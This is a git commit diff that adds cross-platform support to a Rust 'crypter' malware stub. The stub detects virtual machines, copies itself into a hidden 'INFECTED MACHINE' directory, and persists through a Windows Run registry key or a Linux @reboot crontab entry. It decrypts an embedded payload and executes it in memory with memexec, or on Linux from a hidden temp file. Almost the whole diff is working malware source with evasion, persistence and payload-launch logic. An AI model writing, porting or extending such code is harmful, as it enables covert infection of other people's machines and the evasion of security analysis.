Add cross-platform support for Linux and Windows
- Implement conditional compilation for platform-specific dependencies - Add Linux persistence via cron jobs as alternative to Windows registry - Create cross-platform fileless execution (memexec for Windows, temp file + exec for Linux) - Support platform-specific paths and file hiding mechanisms - Maintain full Windows compatibility while adding Linux support
This commit is contained in:
parent
42550bdc8d
commit
e8c22a8160
@ -8,5 +8,10 @@ edition = "2021"
|
|||||||
[dependencies]
|
[dependencies]
|
||||||
inside-vm = "0.2.0"
|
inside-vm = "0.2.0"
|
||||||
aes = "0.8.2"
|
aes = "0.8.2"
|
||||||
|
|
||||||
|
[target.'cfg(windows)'.dependencies]
|
||||||
memexec = "0.2"
|
memexec = "0.2"
|
||||||
winreg = "0.9"
|
winreg = "0.9"
|
||||||
|
|
||||||
|
[target.'cfg(unix)'.dependencies]
|
||||||
|
libc = "0.2"
|
||||||
|
|||||||
129
stub/src/main.rs
129
stub/src/main.rs
@ -6,9 +6,15 @@ use std::io::{self, Cursor, Read};
|
|||||||
use std::path::Path;
|
use std::path::Path;
|
||||||
use std::process::Command;
|
use std::process::Command;
|
||||||
use std::{env, fs};
|
use std::{env, fs};
|
||||||
|
|
||||||
|
#[cfg(windows)]
|
||||||
use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS};
|
use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS};
|
||||||
|
#[cfg(windows)]
|
||||||
use winreg::RegKey;
|
use winreg::RegKey;
|
||||||
|
|
||||||
|
#[cfg(unix)]
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
if inside_vm() {
|
if inside_vm() {
|
||||||
println!("This is in a vm");
|
println!("This is in a vm");
|
||||||
@ -21,7 +27,9 @@ fn main() {
|
|||||||
persistence();
|
persistence();
|
||||||
|
|
||||||
let pe_bytes = decrypt_file().unwrap();
|
let pe_bytes = decrypt_file().unwrap();
|
||||||
fileless(pe_bytes);
|
if let Err(e) = fileless(pe_bytes) {
|
||||||
|
eprintln!("Failed to execute payload: {}", e);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -53,7 +61,7 @@ fn decrypt_file() -> Result<Vec<u8>> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn create_infected_directory() -> io::Result<()> {
|
fn create_infected_directory() -> io::Result<()> {
|
||||||
let infected_dir = Path::new("C:/Rust Crypter - INFECTED MACHINE");
|
let infected_dir = get_infected_dir_path();
|
||||||
fs::create_dir_all(&infected_dir)?;
|
fs::create_dir_all(&infected_dir)?;
|
||||||
|
|
||||||
let current_exe = env::current_exe()?;
|
let current_exe = env::current_exe()?;
|
||||||
@ -62,7 +70,8 @@ fn create_infected_directory() -> io::Result<()> {
|
|||||||
let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
|
let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
|
||||||
fs::copy(¤t_exe, &infected_exe_path)?;
|
fs::copy(¤t_exe, &infected_exe_path)?;
|
||||||
|
|
||||||
if cfg!(target_os = "windows") {
|
#[cfg(windows)]
|
||||||
|
{
|
||||||
Command::new("attrib")
|
Command::new("attrib")
|
||||||
.arg("+h")
|
.arg("+h")
|
||||||
.arg(infected_dir.as_os_str())
|
.arg(infected_dir.as_os_str())
|
||||||
@ -73,32 +82,114 @@ fn create_infected_directory() -> io::Result<()> {
|
|||||||
.output()?;
|
.output()?;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
// Hide files on Unix by removing read permissions for others
|
||||||
|
let mut perms = fs::metadata(&infected_dir)?.permissions();
|
||||||
|
perms.set_mode(0o700);
|
||||||
|
fs::set_permissions(&infected_dir, perms)?;
|
||||||
|
|
||||||
|
let mut perms = fs::metadata(&infected_exe_path)?.permissions();
|
||||||
|
perms.set_mode(0o700);
|
||||||
|
fs::set_permissions(&infected_exe_path, perms)?;
|
||||||
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn get_infected_dir_path() -> &'static Path {
|
||||||
|
#[cfg(windows)]
|
||||||
|
{
|
||||||
|
Path::new("C:/Rust Crypter - INFECTED MACHINE")
|
||||||
|
}
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
Path::new("/tmp/.rust-crypter-infected")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn persistence() -> io::Result<()> {
|
fn persistence() -> io::Result<()> {
|
||||||
if let Ok(current_exe) = env::current_exe() {
|
#[cfg(windows)]
|
||||||
if let Some(file_name) = current_exe.file_stem() {
|
{
|
||||||
let executable_name = file_name.to_string_lossy();
|
if let Ok(current_exe) = env::current_exe() {
|
||||||
let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
|
if let Some(file_name) = current_exe.file_stem() {
|
||||||
let file_path = format!("{}{}.exe", directory_path, executable_name);
|
let executable_name = file_name.to_string_lossy();
|
||||||
|
let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
|
||||||
|
let file_path = format!("{}{}.exe", directory_path, executable_name);
|
||||||
|
|
||||||
// Open the "Run" registry key
|
// Open the "Run" registry key
|
||||||
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
|
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
|
||||||
let run_key = hkcu.open_subkey_with_flags(
|
let run_key = hkcu.open_subkey_with_flags(
|
||||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
|
||||||
KEY_ALL_ACCESS,
|
KEY_ALL_ACCESS,
|
||||||
)?;
|
)?;
|
||||||
|
|
||||||
// Add the executable path to the "Run" registry key
|
// Add the executable path to the "Run" registry key
|
||||||
run_key.set_value("RustCrypter", &file_path).err();
|
run_key.set_value("RustCrypter", &file_path).err();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
// Linux persistence using cron job
|
||||||
|
if let Ok(current_exe) = env::current_exe() {
|
||||||
|
let cron_entry = format!("@reboot {} >/dev/null 2>&1", current_exe.display());
|
||||||
|
|
||||||
|
// Add to user's crontab
|
||||||
|
let output = Command::new("crontab")
|
||||||
|
.arg("-l")
|
||||||
|
.output();
|
||||||
|
|
||||||
|
let mut cron_content = String::new();
|
||||||
|
if let Ok(output_result) = output {
|
||||||
|
if output_result.status.success() {
|
||||||
|
cron_content = String::from_utf8_lossy(&output_result.stdout).to_string();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !cron_content.contains("rust-crypter") {
|
||||||
|
cron_content.push_str(&cron_entry);
|
||||||
|
cron_content.push('\n');
|
||||||
|
|
||||||
|
Command::new("sh")
|
||||||
|
.arg("-c")
|
||||||
|
.arg(&format!("echo '{}' | crontab -", cron_content))
|
||||||
|
.output()?;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
fn fileless(bytes: Vec<u8>) {
|
fn fileless(bytes: Vec<u8>) -> std::result::Result<(), Box<dyn std::error::Error>> {
|
||||||
unsafe {
|
#[cfg(windows)]
|
||||||
memexec::memexec_exe(&bytes).unwrap();
|
{
|
||||||
|
unsafe {
|
||||||
|
memexec::memexec_exe(&bytes).unwrap();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
// For Linux, write to temp file and execute
|
||||||
|
use std::ffi::CString;
|
||||||
|
|
||||||
|
let temp_path = "/tmp/.rust_payload";
|
||||||
|
fs::write(temp_path, &bytes)?;
|
||||||
|
|
||||||
|
// Make executable
|
||||||
|
let mut perms = fs::metadata(temp_path)?.permissions();
|
||||||
|
perms.set_mode(0o755);
|
||||||
|
fs::set_permissions(temp_path, perms)?;
|
||||||
|
|
||||||
|
// Execute
|
||||||
|
let path_cstr = CString::new(temp_path)?;
|
||||||
|
unsafe {
|
||||||
|
libc::execl(path_cstr.as_ptr(), path_cstr.as_ptr(), std::ptr::null::<libc::c_char>());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user